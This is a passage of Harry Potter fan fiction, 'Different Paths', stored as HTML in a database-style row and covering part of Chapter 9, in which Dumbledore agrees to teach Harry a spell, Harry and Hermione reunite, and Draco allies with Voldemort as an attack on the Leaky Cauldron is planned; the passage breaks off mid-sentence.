Harry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore still looked the same\nas he always had.&nbsp; &#8220;He had long silver\nhair and a beard long enough to tuck into his belt.&nbsp; His blue carried the familiar sparkle behind his golden,\nhalf-moon spectacles.&nbsp; He was currently\nseated behind his desk in his cottage while Harry was seated in a chair facing\nhim.&nbsp; The inside of the cottage looked a\nlot like Dumbledore&#8217;s old office back at Hogwarts, mostly because it contained\nmany of the old items and trinkets the office had contained.&nbsp; Behind Dumbledore on his perch was the\nscarlet and gold phoenix, Fawkes, the original carrier of the magical cores of\nboth Harry and Voldemort.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, it is not that I am\ndispleased to see you but why have you come?&#8221; said Dumbledore.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry took a deep breath.&nbsp; &#8220;OK, no point beating around the bush.&nbsp; Professor Dumbledore, you are in possession\nof a powerful spell and I was...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&nbsp; Sir?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I said &#8216;no&#8217;,&#8221; replied\nDumbledore rather bluntly.&nbsp; &#8220;I cannot\nteach you the Dark Magic Cleanser, Harry.&#8221;<br>\n<br>\n&#8221;But Professor, if I&#8217;m going to face Voldemort I need the Dark Magic\nCleanser.&nbsp; There&#8217;s no other way to\ndefeat him and you know it sir.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of course I&#8217;m aware of that,&#8221;\nsaid Dumbledore, &#8220;but is that the reason why you want to learn the spell?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Is that the reason why you want\nto learn the Dark Magic Cleanser?&nbsp; To\ndefeat Voldemort?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry said nothing.&nbsp; Dumbledore continued speaking.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Remember this Harry.&nbsp; The Dark Magic Cleanser is one of the most\npowerful spells in existence.&nbsp; It&#8217;s very\nuse warrants victory for the one who uses it.&nbsp;\nThe most important thing one must realize when using it is that it must\nbe used responsibly.&nbsp; Despite it&#8217;s\nawesome anti-dark magic powers, even the Dark Magic Cleanser can be corrupted\nfor the use of evil.&nbsp; You, Harry, are\nsuggesting that you only want to learn this spell so that you can defeat\nVoldemort.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Meanwhile, just outside, Ron,\nGinny, and Hermione had arrived.&nbsp; It was\nalready night and the only source of light was from the moon, stars, and the\nlight shining through the windows of Dumbledore&#8217;s cottage.&nbsp; &#8220;Well, all we can do now is knock,&#8221; said\nGinny.&nbsp; She walked up to the door\nintending to knock when she heard Dumbledore&#8217;s last sentence:</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;If that is the case, then you\nare not worthy enough to learn the Dark Magic Cleanser.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?!&#8221; both Ron and Ginny\nexclaimed.&nbsp; Without knocking, they threw\nthe door open, startling Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron?&nbsp; Ginny?&#8221; he said surprised at seeing his old friends.&nbsp; Then, he saw someone behind them standing in\nthe moonlight as beautiful as he had seen her in many dreams.&nbsp; The one person whom had been a constant\npresence on his mind ever since he had parted with her weeks ago.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><b>To be continued...</b></p>\n\n<p>&nbsp;</p>\n\n<p>A/N By golly I feel like this\nchapter is the most hilarious I&#8217;ve written so far.&nbsp; Isn&#8217;t it great?&nbsp; I sure\nwould like to know if you all think so.&nbsp;\nSo, tell me by reading and reviewing.&nbsp;\nNext: we see Harry and Hermione&#8217;s reunion as well as more Draco.</p>\n\n\n\n\n\n\n'),
	(33, 9, '\n\n\n\n<p><b>Title:</b> Different Paths (09)<br>\n<b>Author name:</b> E.\nC. R. Potter<br>\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n<b>Category:</b> Action/Adventure<br>\n<b>Sub Category:</b> Drama<br>\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n<b>Rating:</b> PG-13<br>\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story\narc.<br>\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with\nincredibly similar beginnings, who journeyed on different paths. Such different\npaths that inevitably, they could only lead to a collision course. And collide,\nthey do.&nbsp; H/H and D/G.<br>\n<b>DISCLAIMER:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended. It is also\nbased on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics\nInc., Fuji Television, Studio Gallop, and other publishers. No money is being\nmade and no copyright or trademark infringement is intended from them either.<br>\n<b>Author notes:</b> I&#8217;m sure you people will recognize the cookie at the\nbeginning of this chapter.&nbsp; Or at least\nI think you people will.&nbsp; I&#8217;ve kept\nHarry and Hermione apart for so long throughout this story that I feel like you\nall deserve a little H/H now.&nbsp; So I&#8217;m\ngiving just a tad of H/H in this chapter, the major H/H will come later.&nbsp; So with this promise, I give you this next\nchapter.&nbsp; Enjoy.</p>\n\n<p>&nbsp;</p>\n\n<p><b>Chapter 9: The Fall of Draco\nMalfoy</b></p>\n\n<p>&nbsp;</p>\n\n<p>For over a period that seemed\nlike a long time, though it was actually a few seconds, Harry and Hermione just\nstarred at each other, green eyes looking into brown.&nbsp; Hermione wore a hopeful expression on her face but as for Harry\nhis face remained blank with the exception of surprise.&nbsp; Still, for the two of them everything else\nin the world had simply ceased to exist.&nbsp;\nAll that mattered was that Harry Potter and Hermione Granger were\nstarring at each other for the first time in weeks.</p>\n\n<p>&nbsp;</p>\n\n<p>A cough from behind Harry\nsnapped Harry and Hermione out of their daze.&nbsp;\nDumbledore stood up and acknowledged Ron, Ginny, and Hermione.&nbsp; &#8220;Mr. Weasley, Miss Weasley, Miss Granger,&#8221;\nhe said.&nbsp; &#8220;It is good to see you three\nagain.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Professor Dumbledore,&#8221; said Ron\nwith a large grin on his face.&nbsp; &#8220;It&#8217;s\nbeen a while, sir.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Been even longer for me,&#8221;\nreplied Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah we know that,&#8221; muttered\nRon.</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore cleared his\nthroat.&nbsp; &#8220;Er, Harry.&nbsp; Could you go fetch some water from the well\ndown the path?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I asked if you go fetch some\nwater from down the path.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Um, yes.&nbsp; I heard you sir.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But I was wondering, if you\nneeded water, why couldn&#8217;t you summon it or conjure it up or something.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry,&#8221; said Dumbledore.&nbsp; &#8220;There are times when the stuff people say\nhave a double meaning.&nbsp; When I say\n&#8216;Harry please fetch some water,&#8217; what I am really saying is &#8216;Harry, I would\nlike to have a word with Ron, Ginny, and Hermione only.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh,&#8221; said Harry.&nbsp; &#8220;Er, yes Professor.&#8221;&nbsp; Harry picked up a pail nearby and stood\nup.&nbsp; As he exited the cabin he stepped\nright by Hermione.&nbsp; He cast a long\nsearching look over her but she simply remained silent.&nbsp; With a sigh, Harry left the cabin and headed\ndown the path.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny turned to Hermione and\nsaid, &#8220;Well?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Huh?&#8221; said Hermione looking\nconfused.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well aren&#8217;t you going to say\nsomething?&nbsp; Aren&#8217;t you going to go\nprofess your undying love and devotion to him?&nbsp;\nAren&#8217;t you going to call after him and tell Harry that you love\nhim?&nbsp; Aren&#8217;t you going to give him a\npiece of your mind like you said you were going to down at Diagon Alley?&#8221; said\nGinny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well I...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Gee whiz, Hermione,&#8221; said an\nexasperated Ron.&nbsp; &#8220;What&#8217;s the point of coming\nall this way after him if not to speak to him.&nbsp;\nYou&#8217;re the one who said you were going to give him what he deserved for\nparting with you like that!&nbsp; Why the\nsilent act?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione thought for a moment\nbefore she said, &#8220;I&#8217;m not sure.&nbsp; All I\nreally wanted all this time was to see Harry again.&nbsp; I was hoping to yell at him for hurting me like that when we\nparted or for even just being the martyr again and leaving me behind.&nbsp; But when I actually saw him, everything I\nhad planned to say to him just skipped out of my head and the only thing I\ncould concentrate on was the fact that I was with Harry again.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Bloody typical,&#8221; muttered Ron.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How true,&#8221; agreed Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Now, now, now, don&#8217;t judge them\ntoo harshly,&#8221; said Dumbledore.&nbsp; &#8220;These\ntwo have been through a lot, but there is no doubt in my mind that they will\ndiscuss all of problems in due time.&#8221;&nbsp;\nHe smiled at Hermione once before continuing.&nbsp; &#8220;Now, if you do not mind, could I hear the story?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The story?&#8221; asked Ron and Ginny\nat the same time.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, the story,&#8221; replied\nDumbledore.&nbsp; &#8220;Everything that has\nhappened since I left Hogwarts.&nbsp; I&#8217;ve\nheard Harry&#8217;s version already.&nbsp; Now I\nwould like to hear yours.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>As Harry walked toward the well\nhis mind was racing.&nbsp; <i>&#8216;Hermione and\nRon came after me,&#8217;</i> he thought.&nbsp; <i>&#8216;I\nshould&#8217;ve known they&#8217;d come after me, those two just never listen to reason.&#8217;</i>&nbsp; He sighed as he started to load water into\nthe pail.&nbsp; <i>&#8216;I should be angry at\nthem, and I do feel angry at them.&nbsp; Then\nwhy?&nbsp; Why do I feel so relieved at\nseeing Hermione again?&#8217;</i>&nbsp; He sighed\nonce more as he started to carry the pail of water back to the cabin.&nbsp; <i>&#8216;Don&#8217;t be daft Potter you know perfectly\nwhy you&#8217;re so relieved at seeing her again.&nbsp;\nYour desire has been to see her again ever since you said &#8216;Good Bye&#8217; to\nher all those weeks ago.&nbsp; Bet you that\nif you looked into the Mirror of Erised now, you&#8217;ll see her standing right next\nto you in addition to your parents.&#8217;</i>&nbsp;\nAt that thought, Harry couldn&#8217;t help but smile a little.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>By the time Harry had returned\nto the cabin, the others had just about finished their conversation.&nbsp; &#8220;Ah Harry, I&#8217;ve just heard another version\nof the story,&#8221; said Dumbledore.&nbsp; &#8220;You&#8217;ve\nseem to have quite an adventure these past few weeks.&nbsp; I&#8217;m especially impressed with the way you handled the events in\nGraypine and with the Ollivanders.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry raised an eyebrow at Ginny\nwho shrugged and said, &#8220;I told them everything that happened.&nbsp; Nothing left out at all.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;However, I am still not\npositive if I should teach you the Dark Magic Cleanser or not,&#8221; said\nDumbledore.&nbsp; &#8220;So answer me these\nquestions Harry, why did you help the village of Graypine and why did you risk\nyourself to save the Ollivanders&#8217; son?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;For the greater good,&#8221; answered\nHarry.&nbsp; &#8220;I simply could not allow other\npeople to suffer around me whether they are suffering because of me or\nnot.&nbsp; I&#8217;ve vowed to myself that none\naround me shall suffer so long as I can help them.&nbsp; That is what I have found my calling in and that is what I\nbelieve to be my destiny.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Dumbledore smiled.&nbsp; &#8220;You have answered wisely,&#8221; he said.&nbsp; With a burst of energy, Dumbledore leapt to\nhis feet.&nbsp; &#8220;Come, Harry Potter!&nbsp; I shall teach you the Dark Magic Cleanser.&nbsp; Let it be of use for you as you fight to\nfulfill your calling and destiny.&#8221;&nbsp;\nDumbledore walked out of the door of his cabin and grinned.&nbsp; &#8220;Of course, this would all be unnecessary if\nI just stormed Voldemort&#8217;s lair and defeated him myself, but that is too time\nconsuming.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Professor,&#8221; the two Weasleys\ngroaned.&nbsp; The twinkle in Dumbledore&#8217;s\neyes however indicated that he was only kidding.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry also stood up and\nproceeded to follow Dumbledore.&nbsp; Before\nhe could go far however Hermione called, &#8220;Harry wait!&#8221; Harry turned toward her.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hermione?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Um, Harry,&#8221; Hermione bit her\nlip.&nbsp; &#8220;A-are you mad at me for coming\nafter you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Part of me is angry,&#8221; said\nHarry.&nbsp; &#8220;However, a greater part of me\nis relieved and completely ecstatic at seeing you again.&nbsp; I suppose I can&#8217;t delude myself into\nthinking that I don&#8217;t need you anymore, because I do.&nbsp; And this time, I will never forget that.&#8221;&nbsp; He smiled at her.&nbsp; &#8220;I&#8217;ll see you in a few days at the Leaky Cauldron.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione smiled at Harry.&nbsp; She stood up on her tiptoes and kissed him\non his lips.&nbsp; It was a brief kiss but it\nstill left Harry a little dazed.&nbsp; Ron\nand Ginny looked positively thrilled.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So you&#8217;ll know what you&#8217;ll be\ncoming back to,&#8221; whispered Hermione.&nbsp;\nHarry smiled at her once more before he took off after Dumbledore into\nthe woods surrounding his cabin.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well he sure looked good,&#8221; said\nRon.&nbsp; He, Hermione, and Ginny were now\nheading toward the end of the path where they had left their brooms.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes he did,&#8221; said\nHermione.&nbsp; Ron noted that she looked a\nlot happier than she had in weeks.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Whichever way, I&#8217;m just\noverjoyed I finally reunited you two,&#8221; said Ginny.&nbsp; &#8220;I sure am glad there wasn&#8217;t any problems between you and Harry,\nHermione.&nbsp; Boy, the tension between you\ntwo would&#8217;ve made even the Slytherins rattle.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron abruptly froze.&nbsp; &#8220;Slytherins?&#8221; he said.&nbsp; &#8220;Of course!&nbsp;\nI forgot to warn Harry!&nbsp; Draco\nMalfoy was in Diagon Alley!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&nbsp; Draco?&#8221; exclaimed Ginny.&nbsp;\n&#8220;You saw Draco in Diagon Alley?&nbsp;\nWhere was he? Which way was he heading?&nbsp;\nWhere can I find him?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221;&nbsp; Ron was completely startled by the hopeful\nlook in Ginny&#8217;s eyes.&nbsp; &#8220;Are you\nnuts?&nbsp; You want to find him? &nbsp;And why the bloody hell are you calling him\n&#8216;Draco&#8217;?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny tried to explain\npatiently.&nbsp; &#8220;Look, I know you don&#8217;t like\nhim but we&#8217;ve grown rather close while we were at Beauxbatons.&nbsp; He&#8217;s not really a bad person...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Not really a bad person?&#8221; Ron\nyelled.&nbsp; &#8220;Do you have any idea just how\ndangerous Malfoy might be?&nbsp; Especially\nafter the Slytherin Revolts?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Slytherin Revolts?&nbsp; What Slytherin Revolts?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t be daft, Ginny!&nbsp; You know what happened a year ago at\nHogwarts!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No Ron,&#8221; said Hermione, &#8220;I\ndon&#8217;t think she does.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What are you two talking\nabout?&#8221; exclaimed Ginny.&nbsp; &#8220;What are the\nSlytherin Revolts?&nbsp; What happened at\nHogwarts a year ago?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione took a deep\nbreath.&nbsp; &#8220;Listen closely Ginny, I&#8217;m\ngoing to explain everything.&nbsp; But you&#8217;re\nprobably not going to like what I&#8217;m about to say.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Only minutes after Hermione and\nthe two Weasleys left, Remus Lupin was drinking a cup of tea when another\nmember of the Order of the Phoenix entered.&nbsp;\nArabella Figg was a woman in her mid thirties who for years had\ndisguised herself as a crazy old lady on Privet Drive so she could watch over\nHarry as he grew up.&nbsp; It had come as a\nrather large shock to Harry when he discovered that his old babysitter was\nreally an old friend of his parents.&nbsp;\nInterestingly enough, her love of her cats was genuine, and even after\nHarry had discovered who she really was just before his fifth year, she still\ninsisted that he view pictures of Tibbles, Snowy, Mr. Paws, and Tufty with her,\nonly this time the pictures moved.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Remus, there&#8217;s someone here to\nsee you,&#8221; she said as she tucked her shoulder length blonde hair behind her\near.</p>\n\n<p>&nbsp;</p>\n\n<p>Remus looked up at his blue-eyed\nfriend.&nbsp; He smirked and said, &#8220;Unless\nit&#8217;s a pretty lady, I&#8217;m not going to meet them.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Arabella rolled her eyes and\nsaid, &#8220;Well she&#8217;s...&#8221; As soon as Arabella had said &#8220;she&#8221;, Remus had darted out\nof the pub to meet this mystery person.&nbsp;\nArabella sighed and finished &#8220;...an owl.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>When Remus saw that his guest\nwas an owl, he shrugged and took the letter from it.&nbsp; As he reentered the pub, Arabella raised an eyebrow at him and\nRemus grinned back sheepishly.&nbsp; He\nquietly unfolded the parchment and read the letter.&nbsp; Arabella noted how quickly Remus&#8217;s expression switched from\njovial to stern.&nbsp; Before she could say\nanything, Remus stuffed the parchment into the pocket of his robe.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Remus, what...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I need to go meet someone.&nbsp; Arabella look after the pub for me while I&#8217;m\ngone, will you?&#8221;&nbsp; Before Arabella could\nanswer, Remus had strolled into Diagon Alley.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Florean Fortescue&#8217;s Ice Cream\nPalor had a number of outdoor tables and it was there Remus found himself about\nfive minutes later, eating a bowl of Rocky Road Ice Scream while patiently\nwaiting for someone.&nbsp; Soon, that someone\nsat down at a table behind Remus: they were sitting back to back.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I came here as soon as I\nreceived your owl,&#8221; said Remus.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco Malfoy continued facing\naway from his mentor and said, &#8220;I&#8217;m looking for someone.&nbsp; Do me a favor and find him for me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Remus finished off the last of\nhis ice cream.&nbsp; &#8220;Wake up Draco,&#8221; he\nsaid, &#8220;Killing Harry won&#8217;t bring back any of your friends.&nbsp; All you&#8217;ll do is thrust yourself into\ndamnation.&#8221;&nbsp; When Draco said nothing,\nRemus continued, &#8220;Harry himself told me all about the Slytherin Revolts.&nbsp; You seem to have forgotten that he&#8217;s my best\nfriends&#8217; son.&#8221;&nbsp; Draco said nothing.&nbsp; Remus continued, &#8220;Ginny misses you.&nbsp; Why can&#8217;t you just forget about Harry and go\nto her?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco hesitated before he said,\n&#8220;She is not my concern.&#8221;&nbsp; Remus didn&#8217;t\nmiss Draco&#8217;s hesitation however.&nbsp; Still\nnot looking at Remus, Draco stood up.&nbsp;\n&#8220;Only I can and will kill Potter. If you are not going to help me then\nthere is no reason for to linger here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Very well then,&#8221; said Remus as\nhe looked over his shoulder to glare at Draco&#8217;s retreating figure.&nbsp; &#8220;But if you have indeed truly crossed over\nto the dark side Draco Malfoy, I will crush you myself.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Just as Draco had put a little\ndistance between himself and Remus, another figure emerged from the crowd and\nstepped in front of Draco.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Greetings Mr. Malfoy,&#8221; said\nSeth Soran.&nbsp; &#8220;Have you reconsidered my\nproposition?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Horace Slalacion strolled down\nthe torch lit halls of the Dark Lord&#8217;s secret lair, hidden far below the Tower\nof London.&nbsp; He was searching for his\nmaster, wondering where he could be at this time.&nbsp; Finally, he came upon the Dark Lord in the execution chamber, a\ndark dreary dungeon of dark rock and chains, who was in the process of\nexecuting an unlucky Death Eater whom had displeased him.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;Imperio,&#8221;</i> said Voldemort.&nbsp; The terrified former Death Eater instantly\nstopped looking terrified.&nbsp; He now had\nhad a bewildered look on his face and didn&#8217;t hesitate to come nearer to the\nDark Lord when Voldemort called for him.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;Magicus Ensis!&#8221;</i>&nbsp;\nA scarlet blade of light about a meter long emerged from Voldemort&#8217;s\nwand.&nbsp; With lightning speed, Voldemort\nslashed at the unlucky Death Eater and promptly disposed of him in a\nhorrifically bloody way.&nbsp; Horace didn&#8217;t\neven flinch.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Most impressive my Lord,&#8221; he\nsaid.</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort looked up at his\nlieutenant and grinned.&nbsp; &#8220;Horace, to\nwhat do I owe this pleasant surprise?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My lord, a few more members of\nthe Elite Ten have just arrived,&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Very well, show them in.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Horace bowed and left the\nexecution chamber.&nbsp; Within minutes he\nhad returned with five other people: Seth Soran, Angelus O&#8217;Connel the muscular\nex-monk, two women who could only be sisters, and another figure who lingered\nbehind Seth.&#8221;&nbsp; Voldemort first turned to\nthe monk.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Angelus my old friend.&nbsp; How have you been doing recently?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Other than meeting a rather\ninteresting person in Sherwood a few days ago, nothing much has happened,&#8221;\nreplied Angelus in his thick Irish accent.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Good, good,&#8221; said\nVoldemort.&nbsp; He turned to the two\nsisters.&nbsp; They were two voluptuous woman\nin their late thirties dressed in revealing robes.&nbsp; The older had short brown hair and red and black robes while the\nyounger had long blonde hair and white robes.&nbsp;\n&#8220;Flame, Icicle, how was terrorizing around Europe this time?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It went well my Lord,&#8221; said\nIcicle as she tossed her blonde hair back.&nbsp;\n&#8220;But I would&#8217;ve much rather have remained here to do your bidding.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Suck up,&#8221; muttered Flame.</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort ignored Icicle&#8217;s\nbatting eyelashes and finally turned to the figure standing behind Seth.&nbsp; His mouth curved into a delighted\nsmile.&nbsp; &#8220;Draco Malfoy.&nbsp; So, the son of Lucius Malfoy finally comes\ninto my ranks.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No,&#8221; said Draco.&nbsp; &#8220;I have no intention of becoming one of your\nDeath Eaters or receiving the Dark Mark.&nbsp;\nI came because Potter will probably eventually come here to face you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Horace was about to say\nsomething but Voldemort raised his hand and silenced him.&nbsp; &#8220;So, you&#8217;re proposing a partnership of\nsorts,&#8221; he said.&nbsp; &#8220;You remain here where\nHarry Potter will eventually show up so you can deal.&nbsp; I, in return gain another agent to fight against Potter.&#8221;&nbsp; Voldemort seemed to think for a moment and\nsaid, &#8220;I like it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My Lord,&#8221; exclaimed\nHorace.&nbsp; &#8220;My Lord, I must protest...&#8221;\nBefore Horace could continue, Voldemort silenced him once again.</p>\n\n<p>&nbsp;</p>\n\n<p>The Dark Lord leaned closer to\nhis lieutenant and whispered, &#8220;We&#8217;ll discuss this later.&#8221;&nbsp; He turned back to the others.&nbsp; &#8220;Now, does anyone have any suggestions for\nthe next course of action?&nbsp; Say,\nsomething like crushing potential threats?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Seth looked at Draco and said,\n&#8220;How about that person you were seeing in Diagon Alley?&nbsp; Remus Lupin?&nbsp; Wasn&#8217;t he a member of the Order of the Phoenix?&nbsp; He works at the Leaky Cauldron doesn&#8217;t he?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort seemed\ninterested.&nbsp; Draco also perked up at the\nname of his mentor.</p>\n\n<p>&nbsp;</p>\n\n<p>Seth continued, &#8220;So I was\nwondering, if we target the Leaky Cauldron tonight, send some of our Death\nEaters to kill Mr. Lupin, that would be a big blow for our enemies wouldn&#8217;t\nit?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort smirked and turned\ntoward Draco.&nbsp; &#8220;What do you think, young\nMalfoy?&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;&#8220;But if you have indeed\ntruly crossed over to the dark side Draco Malfoy, I will crush you myself.&#8221;&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p>Remus&#8217;s words floated into\nDraco&#8217;s mind.&nbsp; However, without a single\nshow of emotion, he simply said, &#8220;Do as you wish.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Late that night, a small group\nof Death Eaters stalked toward the Leaky Cauldron.&nbsp; Through the silence of the night, they entered the pub and 